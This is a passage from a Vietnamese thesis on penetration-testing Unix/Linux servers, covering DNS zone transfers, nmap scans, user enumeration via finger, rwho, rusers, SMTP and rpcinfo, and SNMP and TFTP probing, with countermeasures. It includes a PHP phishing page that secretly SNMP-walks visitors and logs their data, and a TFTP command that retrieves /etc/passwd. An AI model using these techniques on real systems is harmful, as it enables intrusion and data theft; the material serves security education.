Tải bản đầy đủ (.doc) (59 trang)

Đồ án tốt nghiệp đánh giá an toàn hệ thống máy chủ sử dụng unix linux

Bạn đang xem bản rút gọn của tài liệu. Xem và tải ngay bản đầy đủ của tài liệu tại đây (986.78 KB, 59 trang )

1. Đánh giá an toàn hệ thống máy chủ sử dụng Unix/Linux
Mô tả: Hệ thông Unix thường bị tấn công nhiều hơn hệ thống windows. Có nhiều lý
do liên quan tới điều này như:
+ Mã nguồn mở: Unix là mã nguồn mở với nhiều lỗi đươc tìm thấy và được khai
thác trong mã nguồn. Ngay khi lỗi được phát hiện thì các quản trị viên vá lỗi ngay lập
tức.
+ Tính sẵn sang: Có nhiều GNU Linux và Unix kết nối tới mạng.
Mục tiêu:
+ Thực hiện theo một cách tiếp cận có cấu trúc cho sự thâm nhập hệ thống Unix
+ Tăng truy cập ban đầu và sau đó tăng đặc quyền với hệ thống
+ Để vượt qua quyền root và tăng lây lan tấn công đối với hệ thống và các mức
khác nhau.
+ Hiểu được các vấn đề an toàn Unix và các phương pháo bảo vệ.
Kết quả:
+ Danh sách các máy chủ hoạt động
+ Quy trình đang chạy trên các máy chủ
+ Danh sách người sử dụng
+ Danh sách mạng, các máy chủ và mối quan hệ giữa chúng
+ Phiên bản của nhân sử dụng trong các hệ điều hành
+ Nhà cung cấp hệ điều hành
+ Nhà cung cấp thứ ba và phần mềm bổ sung
+ Danh sách các máy chủ bị xâm nhập.
1.1. Phương pháp
+ Không có các phương thức thủ tục để đạt được quyền truy cập root vào hệ thống. Tuy
nhiên các lỗ hổng tồn tại cho phép truy cập root từ xa một cách đơn giản. Dù sao nếu
một hệ thống có lỗ hổng, nó sẽ dễ dàng phát hiện. tuy nhiên một kẻ tấn công sẽ cố
gắng vượt qua thông qua các phương tiện khác, hoặc lỗ hổng, và công việc của chúng
ta là cố gắng bảo vệ mạng đầy đủ. Không chỉ nó là lỗ hổng truy cập từ xa.
+ Tuy nhiên, chúng ta có thể cung cấp những ý kiến có bản hoặc hướng dẫn cho bạn
như sau:
+ Xác định máy chủ hoạt động


+ Xác định các cổng và các dịch vụ
+ Liệt kê các thủ tục
a. Xác định người sử dụng
b. Xác định tài khoản e-Mail
c. Xác định các quản trị viên
d. Xác định mạng và tên miền
+ Kiểm tra giao thức thông thường
+ Kiểm tra hệ điều hành Unix
+ Tấn công từ xa
a. Tấn công mật khẩu
b. Tấn công từ chối dịch vụ
c. Tấn công RPC
d. Tấn công tràn bộ đệm
e. Tấn công tràn heap
f. Tấn công tràn số nguyên
g. Tấn công định dạng chuỗi
h. Tấn công dịch vụ web
i. Tấn công thư điện tử
j. Tấn công chia sẻ NFS
+ Tấn công theo vùng miền
a. Tấn công theo quyền truy cập tập tin và thư mục
b. Tấn công theo liên kết tượng trưng
c. Tấn công theo điều kiện
d. Tấn công hệ thống cuộc gọi
e. Tấn công key logger
f. Khởi động từ hệ điều hành khác
1.2. Xác định hoạt động máy chủ
+ Có khả năng lập bản đồ mạng lưới chung và riêng, sẽ cung cấp với các yếu tố cơ bản
để bắt đầu một cuộc tấn công đầy đủ, và có tổ chức. Một trong những điều cần thiết
để phân chia giữa các máy chủ, máy tính để bàn và các thiết bị ( như thiết bị định

tuyến, chuyển mạch, máy in,….). Luôn luôn là quan trọng cần nhớ rằng chúng ta phải
thiết lập mục tiêu và sử dụng nguôn lực thông tin được tìm thấy trong cách thực hiện.
Phương pháp tiếp cận khác nhau để máy chủ hoạt động, chúng ta sử dụng quét qua
( cung cấp các thông tin trên nhiều máy chủ được sử dụng) và hoạt động quét.
+ Hoạt động quét: Cụ thể “Active” biểu thị hành động đó, khi thực hiện, làm cho mục
tiêu nhận được các gói dữ liệu được tạo ra trực tiếp hoặc gián tiếp.
Hoạt động quét là chúng ta sử dụng công cụ NMap để quét một loạt các địa chỉ IP với
các phương pháp quét khac nhau. Bạn có thể biết địa chỉ IP hoặc tên máy cho mục
tiêu của mình. Chúng ta có thể sử dụng tên máy hay nslookup để tìm máy chủ bổ
sung trong mạng.
Target: somesite.dom
Nslookup -type=NS somesite.dom sẽ cung cấp với bản ghi NS cho somesite.dom.
Bản ghi NS nói cho chúng ta biết địa chỉ của tên máy chủ somesite.dom sử dụng lưu
trữ thông tin DNS. Trong trường hợp nhận được ns1.provider.net và ns2.provider.net
là tên máy chủ, chúng ta cần có được địa chỉ IP của chúng. Vì vậy chúng ta có thể
chuyển vùng(AXFR) dựa trên tên máy chủ, có thẩm quyền cho somesite.dom, và có
được một danh sách của tất cả các bản ghi DNS của somesite.dom:
Nslookup –type=A ns1.provider.net
Chúng ta có địa chỉ ip của ns1.provider.net. Để sử dụng lệnh trên máy chủ để chuyển
đổi AXFR:
host -l somesite.dom IP_OF_NS1_PROVIDER_NET
Nếu các tên máy chủ và tường lửa đều lỗi( có nghĩa là không có kiểm soát truy cập
quy định cho di chuyển vùng được thiết lập trên các máy chủ và không có quy định
phù hợp được thiết lập trên tường lửa cho việc lọc cổng 53/tcp, là được sử dụng để di
chuyển vùng). Hoạt động có thể được lặp đi lặp lại và kết quả được lưu trên các tập
tin. Bằng cách này mà chúng ta có thể bổ sung, khám phá ra nếu người quản lý máy
chủ có một dự phòng, thích hợp, thiết lập tên máy chủ.
Đó là một ý tưởng hay để cố gắng khám phá các quản trị viên hệ thống những gì tốt.
theo cách này, chúng ta có thể lập kết hoạch cho các cuộc tấn công.
Mặt khác, một tình trạng khá điển hình là một doanh nghiệp thường thuê hơn một địa

chỉ IP công cộng, và thông thường, nhà cung cấp dịch vụ giao một khối( theo kỹ thuật
thì một mạng con với 24 hoặc ít hơn) ví dụ, nếu bạn có một trang web công ty tại
www.somesite.dom, và nó tương ứng với một IP chung đia chỉ x.y.z.204, thì bạn có
thể traceroute tới nó, xem đó là bước trước. Nếu nó là từ một mạng con, thì nó bao
gồm router và firewall. Dùng nmap để quét hệ điều hành. Ngoài ra sự khác biệt giữa
địa chỉ IP của máy chủ web và các router có thể cung cấp một ý tưởng lớn.
Như thường thấy máy chủ hoạt động đôi khi chồng chéo lên nhau với việc xác định
các cổng và các dịch vụ.
+ Quét thụ động:
Trong cùng một switch hoặc hub bạn có thể sử dụng kỹ thuật quét thụ động, nơi mà
không có gói tin được gửi đến mạng, nhưng bộ chuyển đổi mạng của bạn, kết hợp với
sniffer giống với ettercap, do đó cho thấy các địa chỉ IP được tìm thấy và tùy chọn hệ
điều hành.
1.3. Xác định cổng và dịch vụ
Chúng ta biết SMTP chạy trên công 25, SSH chạy trên cổng 22, HTTP chạy trên cổng
80. Tuy nhiên một số quản trị viên, bảo mật thông qua cách tiếp cận không tốt,đó là
lý do tại sao mà nó thường là quan trọng đối với cổng quét qua hai giai đoạn:
Đầu tiên: Tìm kiếm các cổng phổ biến, ví dụ, sử dụng nmap. Nếu chúng ta tìm thấy
hoặc cảm giác nhiều dịch vụ có thể đang chạy.
Thứ hai: Chúng ta có thể bắt đầu quét một giây để xác định bản đồ phạm vi cổng(tcp
và udp), từ 1 tới 65535.Nmap –sV dich vụ phát hiện trên toàn cổng không chuẩn, và
sẽ cung cấp một phần của byte đọc từ kết nối khi nó không thể xác định dịch vụ đang
chạy trên nó. Nmap –T cho phép làm chậm một máy quét. Tất nhiên nó sẽ mất nhiều
thời gian để kết thúc. Ngoài rat hang số -f, sử dụng phân mảnh gói tin trong quá trình
quét.
Các khía cạnh quan trọng từ cổng và dịch vụ quét liên quan tới kiến thức của người
quản trị hệ thống .
1.4. Tấn công liệt kê
+ Tấn công liệt kê được sử dụng lấy thông tin từ dịch vụ liên quan. Ví dụ, từ NetBIOS
chúng ta có thể lấy chia sẻ, tên máy tính, tên dịch vụ, hệ điều hành liên quan,

….Chúng ta có thể nhận được tên người dùng và bao lâu và bao nhiêu làm việc trên
hệ thống. Chúng ta sẽ cung cấp các ví dụ của các kiêu liệt kê khác nhau.
1.4.1. Xác định người sử dụng
Mục tiêu:
Để đưa ra lợi thế của lỗi cấu hình trên các dịch vụ hoặc giao thức khác nhau để có
được kiến thức sâu sắc hơn về cơ sở người dùng. Nhiều lần GNU+ Linux dựa trên các
hộp cài đặt như tường lửa, máy chủ VPN hoặc gateway, do đó người dùng cục bộ
không được sử dụng nhiều.
Kết quả
Tên người sử dụng, địa chỉ hòm thư, thời gian đăng nhập/đăng xuất, các tập tin kế
hoạch, shell mặc định.
Tiến trình
Finger
Rwho
Ruser
SMTP
1.4.1.1. Xác định người sử dụng: Finger
+ Dịch vụ finger trình bày hệ thống thông tin người sử dụng đối với bất kỳ thực thể nào
trên mạng. Finger làm việc trên cổng 79 TCP/UDP.
+ Giúp kể tấn công phỏng đoán tài khoản người sử dụng
+ Giúp kẻ tấn công phỏng đoán hệ thống hệ điều hành
+ Lựa chọn:
#finger –l @target.com
#finger –l
#finger –l ‘abcdefgh’@target.com
+ Kết quả:
#finger
Login: root Name: root
Directory: /root Shell: /bin/bash
On since Mon Oct 13 22:06 (IST) on tty1 54 seconds idle

On since Mon Oct 13 23:53 (IST) on tty2 17 minutes 4 seconds idle
On since Mon Oct 13 23:39 (IST) on tty3 4 hours 56 minutes idle
On since Mon Oct 13 23:39 (IST) on tty4 4 hours 56 minutes idle
On since Mon Oct 13 22:06 (IST) on :0 (messages off)
On since Mon Oct 13 22:34 (IST) on pts/0 from :0.0
50 minutes 6 seconds idle
On since Tue Oct 14 04:20 (IST) on pts/2 from 203.124.156.112
30 minutes 15 seconds idle
On since Tue Oct 14 00:46 (IST) on pts/5 from :0.0
1 hour 7 minutes idle
Mail last read Tue Oct 14 04:04 2003 (IST)
No Plan
# finger @target.com
Login: broot Name: Mr. Root
Directory: /root Shell: /bin/bash
Last login Wed Jan 30 09:43 2002 (CET) on console
No Plan.

Login: nonroot Name: Non-root root user for NFS
Directory: /nonexistent Shell: nologin
Never logged in.
No Plan.

Login: root Name: Mr. Root
Directory: /root Shell: /bin/sh
Last login Wed Jan 30 09:43 2002 (CET) on console
No Plan.

# finger 'a b c d e f g h'@www. sun-target.com
+ Những biện pháp đối phó

Xinetd/tcp wrapper sử dụng để kiểm soát truy cập dịch vụ như sau:
+ Host/ip
+ Người dùng
+ Nhóm người dùng
+ Thời gian truy cập
+ Khuyến khich mạnh mẽ để chặn các cổng trên router/firewall
+ Vô hiệu hóa các dịch vụ nếu không được sử dụng từ tập tin cấu hình /etc/inetd.conf
và khởi động lại tiến trình
+ Vô hiệu hóa các dịch vụ nếu không được sử dụng từ /etc/xinetd.conf và khởi động lại
tiến trình xinetd.
+ Chạy dịch vụ trên các cổng phi tiêu chuẩn /etc/services. Máy khách cần chạy các dịch
vụ trên cùng một cổng như máy chủ.
+ Cho phép truy cập dựa trên giao diện cụ thể sử dụng xinetd/tcp wrapper hoặc bất kỳ
tường lửa nào(iptables).
1.4.1.2. Xác định người sử dụng: RWHO
Mô tả
Điều này tương tự như finger. Tấn công chỉ dành cho các phân đoạn khu vực. nó là
kết nối từ xa. Đó là sự kết hợp thông tin từ toàn bộ hệ thống trong một mạng cục bộ
đang chạy rwho. Nó hoạt động trên udp cổng 513.
Các bước thực hiện
#rwho -a wally becky smith
Ví dụ / kết quả
#rwho -a wally becky smith

becky cygnus:pts0 Jan 17 11:20 :12
smith aquila:ttyp0 Jan 15 09:52 :22
wally lyra:pts7 Jan 17 13:15 1:32
wally lyra:pts8 Jan 17 14:15 1:01
Phân tích / kết luận / quan sát
Như bạn có thể nhìn thấy Wally Becky và smith trực tuyến và Wally là nhàn rỗi hơn

một giờ. Đây là những chi tiết chúng ta có thể sử dụng để kiểm tra người xem và
người hoạt động.
Biện pháp đối phó
+ Vô hiệu hóa các dịch vụ rwho nếu không được sử dụng /etc/inetd.conf và khởi động
lại tiến trình inetd.
+ Sử dụng xinetd/tcpwarppers để kiểm soát các dịch vụ truy cập như sau:
+ Host/IP
+ người sử dụng
+ nhóm người sử dụng
+ thời gian truy cập
+ Yêu cầu ngăn chặn các cổng trên router/firewall.
+ Vô hiệu hóa các dịch vụ nếu không được sử dụng /etc/xinetd.conf(hoặc loại bỏ tệp tin
finger từ xinetd.d) và khởi động lại quá trình xinetd
+ Chạy dịch vụ trên các cổng phi tiêu chuẩn /etc/services. Máy khách cần chạy các dịch
vụ trên cùng một cổng như máy chủ.
+ Cho phép truy cập dựa trên giao diện cụ thể sử dụng xinetd/tcp wrapper hoặc bất kỳ
tường lửa nào(iptables).
1.4.1.3. Xác định người sử dụng: RUSER
Mô tả
Điều này là tương tự như đối với những người mà duy nhất của mạng lưới địa phương.
Nó được sử dụng để cung cấp thông tin về người hiện đang đăng nhập vào hệ thống trong
mạng nội bộ. Hoạt động trên udp cổng 513
Từng bước thực hiện
#rusers –a <target IP>
• #rusers -l <target IP>
Ví dụ/ Kết quả
#rusers –a <target IP>
[root@localhost root]# rusers -a 192.168.0.60
192.168.0.60 root root root root gaurav
Phân tích/kết luận/ quan sát

Điều này sẽ đến với tên người dùng với các máy tương ứng, và tên máy chủ thậm chí nếu
không có ai là loggd trên chúng. Tên máy chủ thường hữu ích để vẽ sơ đồ mạng. Tên
người dùng bình thường đi kèm tiện dụng trong khi cố gắng truy cập.
Ví dụ / kết quả
#rusers -l <target>

[root@localhost root]# rusers -l 192.168.0.60
root 192.168.0.60:tty1 May 11 22:02 :01
root 192.168.0.60:pts/0 May 12 02:00 :01 (192.168.0.100)
root 192.168.0.60:pts/1 May 12 00:35 :16 (192.168.0.1)
root 192.168.0.60:pts/2 May 12 01:39 :15 (192.168.0.70)
gaurav 192.168.0.60:pts/3 May 12 01:41 (192.168.0.1)
Biện pháp đối phó
Vô hiệu hóa dịch vụ nếu không cần thiết sử dụng
+ Vô hiệu hóa các dịch vụ rusers nếu không sử dụng /etc/inetd.conf và khởi động lại
tiến trình.
+ Sử dụng xinetd/tcpwarppers để kiểm soát các dịch vụ truy cập như sau:
+ Host/IP
+ người sử dụng
+ nhóm người sử dụng
+ thời gian truy cập
+ Yêu cầu ngăn chặn các cổng trên router/firewall.
+ Vô hiệu hóa các dịch vụ nếu không được sử dụng /etc/xinetd.conf(hoặc loại bỏ tệp tin
finger từ xinetd.d) và khởi động lại quá trình xinetd
+ Chạy dịch vụ trên các cổng phi tiêu chuẩn /etc/services. Máy khách cần chạy các dịch
vụ trên cùng một cổng như máy chủ.
+ Cho phép truy cập dựa trên giao diện cụ thể sử dụng xinetd/tcp wrapper hoặc bất kỳ
tường lửa nào(iptables).
1.4.1.4. Xác định người sử dụng: SMTP
Dịch vụ giao thức truyền nhận thư điện tử đơn giản làm việc trên cổng 25 và có hỗ trợ

VRFY, EXPN, ESMTP, HELP, và/hoặc EHLO
Các lệnh EXPN và VRFY có thể được sử dụng liệt kê người dùng
Lệnh EXPN:
Một tấn công từ xa có thể sử dụng lệnh EXPN để tìm thư điện tử. Có thể tìm thấy tên
người sử dụng cái mà được gắn vào tài khoản người quản trị trên thư điện tử.
Lệnh VRFY:
Một tấn công từ xa có thể được sử dụng lệnh EXPN để tìm thư điện tử. Có thể tìm tên
người sử dụng mà là ánh xạ tới các tài khoản quản trị trên máy chủ thư điện tử.
Từng bước thực hiện
telnet <target> 25
• vrfy $user
Ví dụ / Kết quả
"telnet target 25".
vrfy user
Kết quả được đưa ra như sau
250 kartikeya puri <user@target>
expn all
250-someone somewhere <user@target1>
250-another guy <root@target1>
250-yetanotehr guy <guest@target2>
250-real babe babe@babevilla
Phân tích/ kết luận/ quan sát
Bất kỳ lần nào người sử dụng giữ mật khẩu như một sự kết hợp của tên đầy đủ của họ.
Thông tin này có thể được sử dụng cho các cuộc tấn công kỹ thuật xã hội tốt. Một lệnh
expn. Nó tương tự như lệnh vrfy, ngoại trừ trong trường hợp của một danh sách gửi thư,
hoặc danh sách mở rộng, nó sẽ hiển thị tất cả các thành viên của danh sách đó. Lệnh
SMTP expn bắt nguồn từ MTA để mở rộng ( hiển thị tất cả những người nhận) của một
địa chỉ. Để minh họa rủi ro, xem xét nhiều trang web có bí danh mà bao gồm tất cả hoặc
một bộ phận lớn người sử dụng. Tên bí danh như vậy thường có thể dễ dàng đoán, chẳng
hạn như tất cả( như được sử dụng trong ví dụ trên), tất cả mọi người, người sử dụng hoặc

nhân viên. Một thăm dò đơn giản để tất cả đưa ra danh sách của người sử dụng theo bí
danh đó.
1.4.1.5. Xác định người sử dụng:RPCINFO
Mô tả
Máy chủ từ xa và chúng ta không biết tên người dùng như các phương thức đã thất bại
trước. Trong suốt quá trình điều tra chúng ta đi đến thực tế rằng máy chủ là chạy
portmap. Không thể tốt đẹp nếu chúng ta không biết tên của chuong trình chạy, do đó
chúng ta có thể cố gắng khai thác những dịch vụ và sẽ không cần phải chờ đợi cho việc
crack tên người dùng và mật khẩu. Tất cả chúng ta cần phải làm là thăm dò các mục tiều
cho thông tin rpc.
Từng bước thực hiện
#rpcinfo -p target
Ví dụ / kết quả -1
#rpcinfo -p target
program vers proto port
100000 4 tcp 111 portmapper
100000 3 tcp 111 portmapper
100000 2 tcp 111 portmapper
100000 4 udp 111 portmapper
100000 3 udp 111 portmapper
100000 2 udp 111 portmapper
100232 10 udp 32772 sadmind
100221 1 tcp 32772
100068 2 udp 32773
100068 3 udp 32773
100068 4 udp 32773
100068 5 udp 32773
300326 4 tcp 32773
100249 1 udp 32778
100249 1 tcp 32779

300598 1 udp 32781
300598 1 tcp 32780
805306368 1 udp 32781
805306368 1 tcp 32780
Phân tích/ kết luận/ quan sát
Điều này sẽ thăm dò dịch vụ portmap trên các máy chủ sử dụng phiên bản 2 của giao
thức portmap và hiển thị danh sách của tất cả được đăng ký chương trình RPC. Nên nhớ
rằng NFS chạy trên RPC. Nếu quá trình RPC được liệt kê, showmount –e $target có thể
thăm dò hưu ích.
Biện pháp đối phó
Hạn chế truy cập từ tường lửa/router, hoặc vị trí bất kỳ không cần thiết. Dừng dịch vụ
portmap nếu RPC không được sử dụng. Nên nhớ các chương trình quan trọng sau sử
dụng RPC: NFS, NIS, Wall, rstatd, r services.
1.5. Kiểm tra giao thức phổ biến
SNMP
TFTP
FTP
SMTP
HTTP
NNTP
Telnet
Các giao thức sử dụng tầng 2.
1.5.1. Kiểm tra dịch vụ SNMP
Mô tả
Quản lý giao thức mạng đơn giản. Lợi ích cho các quản trị viên người mà cần quản lý
giao thức mạng và biết cách sử dụng. SNMP sử dụng tên nhóm, có hai kiểu, một là công
cộng, một là quyền riêng biệt. Cả hai nhóm có quyền đọc và ghi. Theo mặc định các
chuỗi nhóm snmp trong một vài máy chủ là “private” và “public”. Ảnh hưởng đến SNMP
các chuỗi tạo ra một vết lõm lớn trong tất cả về an ninh. Dự đoán một chuỗi với các đặc
quyền tương tự như một nhóm được gom lại. Nó có thể được sử dụng để xác định hoạt

động hệ thống, người dùng/ chia sẻ, thời gian, tên hệ thống, dịch vụ, thay đổi cấu hình
thiết bị như ( thiết bị định tuyến router, tường lửa,vv…)\
Mục tiêu
Để biết chi tiết cấu hình và viết truy cập đến các thiết bị.
Dự kiến kết quả
Phụ thuộc vào loại thiết bị
Điều kiện tiên quyết
Dịch vụ SNMP được chạy trên máy tính mục tiêu.
Quá trình
Xác định các chuỗi SNMP trên mục tiêu.
Gán giá trị MIB bằng SNMP walking và pilfer cho thông tin
Thỏa hiệp hệ thống.
1.5.1.1. Xác định các chuỗi SNMP
Mô tả
Điều này có thể đạt được theo hai cách:
1.Dự đoán chuỗi sở hữu chung
2. chuỗi nhóm Bruteforce
3. Hệ điều hành quét thiết bị, cố gắng khám phá nhà cung cấp và sử dụng mặc định
danh sách mật khẩu.
4. Thăm dò
1.5.1.2. Lấy giá trị MIB bằng SNMP walking và pilfer dành cho thông tin
17. Xác định hệ thống hệ điều hành
18. Xác định thời gian máy chủ
19. Xác định quy trình / dịch vụ
20. Xác định chia sẻ thông tin
21. Xác định người sử dụng
Chức năng PHP dành cho SNMP walk
Mô tả
PHP có chức năng sẵn có để thực hiện SNMP walking. Các định dạng cho chức năng
snmpwalk là một mảng snmpwalk (chuỗi tên máy chủ, chuỗi nhóm người sử dụng, chuỗi

object_id, thời gian chờ)
Snipet từ tài liệu PHP dành cho snmpwalk “ trả về một mảng của các đối tượng SNMP
giá trị bắt đầu từ object_id như quyền root và FALSE về lỗi”.
Chức năng snmpwalk được sử dụng để đọc tất cả các giá trị từ một tác nhân SNMP theo
quy định của tên máy chủ. Một nhóm quy địn cụ thể các nhóm đọc cho các tác nhân. Một
đối tượng là NULL được thwucj hiện như là quyền root của đối tượng cây SNMP và toàn
bộ các đối tượng con của cây đó được trả về như là một mảng. Nếu object_id được quy
định cụ thể, tất cả các đối tượng SNMP dưới đây object_id được trả về.
Điều kiện tiên quyết
Một trong những điều cần phải biết những tên cộng đồng. Nếu các tên mặc định cồng
đồng “riêng tư” và “công cộng” được kích hoạt, sau đó các mã sau đây sẽ làm việc tốt.
Từng bước thực hiện
1.Thay đổi tên chuỗi riêng tư hoặc công cộng nếu cần
2. Trang máy chủ trên web-server với hỗ trợ PHP4
3. Đánh lừa người sử dụng vào sử dụng trang này.( Một thư điện tử giả mạo có thể
được sử dụng)
4. Tải xuống data.txt để đọc kết quả
<?php
ip = getip(); // Getting the ip of target machine
$filename = "data.txt"; // this file needs to reside on server
$useragent = $_SERVER['HTTP_USER_AGENT']; // capturing the browser name
(for OS guessing)
$date = date("F j, Y, g:i a"); // to keep track of who visited the page when
$fh = fopen($filename, "a") or die("Internal error");
$a = snmpwalk('$ip', "public", "") or die("Internal Error");
$b = snmpwalk('$ip', "private","") or die("Internal Error");
for ($i=0; $i < count($a); $i++) {
echo $a[$i];
$data = $ip . "|" . $useragent . "|" . $date . "|" . $a[i] . "\n";
fwrite($fh , $data) or die("Internal Error");

}
for ($i=0; $i < count($b); $i++) {
echo $b[$i];
$data = $ip . "|" . $useragent . "|" . $date . "|" . $b[i] . "\n";
fwrite($fh , $data) or die ("Internal Error");
}

fclose($fh);
echo "This page is down for maintainence";
//the following function will get machines ip, depending upon the settings. Thanks
Shaolin Tiger for help with this bit.

function getip()
{
if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"),
"0.0.0.0"))
$ip = getenv("HTTP_CLIENT_IP");
else if (getenv("HTTP_X_FORWARDED_FOR") &&
strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "0.0.0.0"))
$ip = getenv("HTTP_X_FORWARDED_FOR");
else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"),
"0.0.0.0"))
$ip = getenv("REMOTE_ADDR");
else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR']
&& strcasecmp($_SERVER['REMOTE_ADDR'], "0.0.0.0"))
$ip = $_SERVER['REMOTE_ADDR'];
else
$ip = "0.0.0.0";
return($ip);
}

?>
Phân tích/ kết luận/ quan sát
Kẻ tấn công gửi một liên kết độc hại tới mục tiêu. Mục tiêu nhấp chuột vào nó và mã nội
tuyến thực hiện, thu thập thông tin nhạy cảm từ mục tiêu và gửi nó cho kể tấn công. Điều
này là tránh khổi proxy/firewall trong quá trình này.
Biện pháp đối phó
+ Nếu dịch vụ không phải là hoàn toàn cần thiết , vô hiệu hóa nó
+ Bộ lọc luồng thông tin SNMP(TCP/UDP 161, 162) ở tường lửa. Cho phép mạng con
tin cậy để thăm dò ý kiến hoặc quản lý các thiết bị bên ngoài trừ khi nó không thể
tránh được.
+ Hãy xem xét các chuỗi nhóm quan trọng như mật khẩu và cách áp dụng thực hành tốt
nhất
+ Thử sử dụng SNMP v3 với xác thực thông điệp và mã hóa PDU
+ Triển khai tường lửa dựa trên các máy chủ (hệ thống kiểm soát truy cập) để lọc lưu
lượng truy cập SNMP.
+ Tạo ra MIBs chỉ đọc bất cứ nơi nào có thể.
1.5.2. Kiếm tra giáo thức truyền nhận tập tin(TFTP).
Mô tả
TFTP sử dụng UDP để truyền dữ liệu và nó là một giao thức ít kết nối, mà không hỗ trợ
xác thực. TFTP là một dịch vụ FTP được giới hạn và không xác thực. Nó hỗ trợ thiết lập
các lệnh giới hạn. Nó thường được sử dụng bởi bộ định tuyến, chuyển mạch và các thiết
bị khác để kết nối đến máy chủ TFTP trong quá trình nâng cấp Firmware.
Mục tiêu
Để lấy các tập tin mà không có vấn đề xác thực
Dự kiến kết quả
Thông tin có thể được sử dụng để tiếp tục thỏa hiêp hệ thống: các tệp tin cấu hình, các
bản ghi, vv…
Điều kiện tiên quyết
Một máy chủ TFTP truy cập trên mạng mục tiêu hoặc các trang web liên quan.
Tiến trình

1. Truy cập TFTP
2. Kiểm tra trạng thái của máy
3. Kết nối đến máy chủ TFTP
4. Dự đoán và lấy các tập tin
1.5.2.1. Truy cập TFTP
Ví dụ / kết quả
#tftp
tftp>_
Phân tích/ kết luận/ quan sát
Kẻ tấn công tại TFTP, bước kế tiếp là kiểm tra trạng thái.
1.5.2.2. Kiểm tra trạng thái của máy
Ví dụ / kết quả
tftp>status
Not connected.
Mode: netascii Verbose: off Tracing: off
Max-timeout: 25 seconds
tftp> _
Phân tích/ kết luận/ quan sát
Kiểm tra trạng thái được thực hiện, giá trị thời gian tấn công và khác nhau các thuộc tính.
1.5.2.3. Kết nối máy chủ TFTP
Ví dụ / kết quả
tftp> connect < target IP >
Phân tích/ kết luận/ quan sát
Dấu nhắc (tftp_) sẽ xuất hiện trở lại và nó cho thấy kẻ tấn công đó kết nối được với mục
tiêu.
1.5.2.4. Dự đoán và lấy các tập tin
Mô tả
Trong bước này, kẻ tấn công cần phải đoán tập tin có liên quan với đường dẫn. Hầu hết
các tập tin về thời gian được đặt tại vị trí mặc định. Tên tập tin thì dễ đoán.
Ví dụ /kết quả

tftp>get /etc/passwd /tmp/passwd.system
Phân tích/ kết luận/ quan sát
Kẻ tấn công tải về thành công các tập tin mật khẩu. Cùng một cách bất kỳ tập tin khác có
thể cũng cho phép tải về tập tin cấu hình .
Biện pháp đối phó
+ TFTP là văn bản, xem xét việc sử dụng an toàn tftp như một thay thế
+ Hạn chế truy cập đến máy chủ TFTP trong tường lửa/ thiết bị định tuyến router
+ Chuyển các tập tin nhạy cảm từ các vị trí mặc định
+ Xác định các mức độ truy cập tập tin
+ Trong trường hợp của Linux : /etc/tftpaccess.ctl
1.6. Kiểm tra hệ thống UNIX
Mô tả
Sau khi kiểm tra các giao thức phổ biến bây giờ kiểm tra về vụ tấn công cụ thể unix.
Chúng có thể được chia thành hai loại: 1. Tấn công từ xa, 2. Tấn công theo khu vực
1.6.1. Tấn công từ xa
Mô tả
Tấn công từ xa thường được coi là nguy hiểm hơn khi kẻ tấn công không cần phải tác
động vật lý, Tin tặc sử dụng để xâm nhập vào máy đích từ xa thông qua các giao thwucs
và dịch vụ chạy trên đó.
1.6.2. Tấn công mật khẩu
Kỹ thuật xã hội, dự đoán, thăm dò, bẻ khóa và Brute Forcing là tất cả các hoạt động liên
quan đến kỹ thuật lấy mật khẩu. Nhưng có tồn tại lỗ hổng bảo mật, ví dụ, trong các phiên
bản cũ của các giao thức ICQ, cho phép bất cứ ai để bỏ qua hệ thống xác thực bằng cách
tận dụng các lỗ hổng đó. Ví dụ, trong các lỗ hổng ICQ forementioned, mật khẩu chiều dài
tối đa là 8. Nếu bạn sử dụng ICQ thay thế bạn có thể cung cấp một mật khẩu 9 ký tự để
tiếp nhận bất kỳ ID người sử dụng ICQ. Lỗ hổng này có một lỗi tràn bộ đêm.
1.6.3. Tràn bộ đệm
Mô tả
Lỗi tràn bộ đệm gây ra khi dữ liệu được sao chép từ một bộ đệm nguồn đến bộ đệm đích
không có giới hạn kiểm tra và ghi đè lên các vùng quan trọng của bộ nhớ mà kết quả

trong việc kiểm soát của chương trình mục tiêu bằng cách thay đổi địa chỉ trở về của một
hàm và làm cho nó thực hiện một bộ đệm định nghĩa việc tấn công được gọi là
“shellcode”.
Về mặt kỹ thuật, bộ đệm thường được đặt bên cạnh cấu trúc dữ liệu “chú ý” trình biên
dịch. Ví dụ trong trường hợp của một chức năng mà có một bộ đệm trên stack, trả lại địa
chỉ chức năng được đặt trong bộ nhớ sau bộ nhớ đệm. Vì vậy, nếu kẻ tấn công có thể
trang bộ đệm, có thể ghi đè lên địa chỉ trả về hàm chức năng để khi hàm trả về nó sẽ trả
về một địa chỉ xác định bởi kẻ tấn công. Khác cấu trúc dữ liệu bao gồm C++, địa chỉ xử
lý ngoại lệ, chức năng con trỏ.
Lỗi tràn bộ đệm là các lỗi lập trình phổ biến nhất, dẫn đến khai thác các mục tiêu chương
trình và sự leo thang đặc quyền, lập bản đồ được thực hiện cho chương trình đó đang
chạy với đặc quyền nâng cao và nhị phân sẽ được kiểm tra cho bộ đệm quản lý yếu kém.
1.6.4. Tràn ngăn sếp
Lỗi tràn bộ đệm được phân loại thành hai loại là tràn ngăn xếp và tràn đống, bản chất của
tràn phụ thuộc vào việc phân bố bộ nhớ.
Các vị trí thực tế trên stack được thành lập bởi các lệnh PUSH và POP tương ứng. Một
giá trị được đẩy vào ngăn xếp được sao chép vào vị trí bộ nhớ và chỉ khi thực hiện xảy ra.
Con trỏ ngăn xếp(sp). Sp sau đó sẽ được giảm di như ngăn xếp tuần tự di chuyển xuống,
để có chỗ cho các biến địa phương được tăng. POP thì ngược lại. Điều này là hàng đợi
LIFO vào sau ra trước.
Ngăn xếp bao gồm các chức năng sau:
Strcat(), sprint(); strcpy(), gets(), vv Bất cứ nơi nào mà các biến không được kiểm soát
đặt vào một bộ đệm chiều dài cố định. Một thực tế phổ biến là sử dụng n –biến của những
chức năng: strncat, snprintf, strncpy, fgets thay vì gets, vv….
1.6.5. Tràn bộ nhớ heap
Các biến cấp phát động được phân bố bởi malloc() được tạo ra trên đống. Không giống
như ngăn xếp, đống phát triển trở lên trên hầu hết các hệ thống, biến mới được tạo ra trên
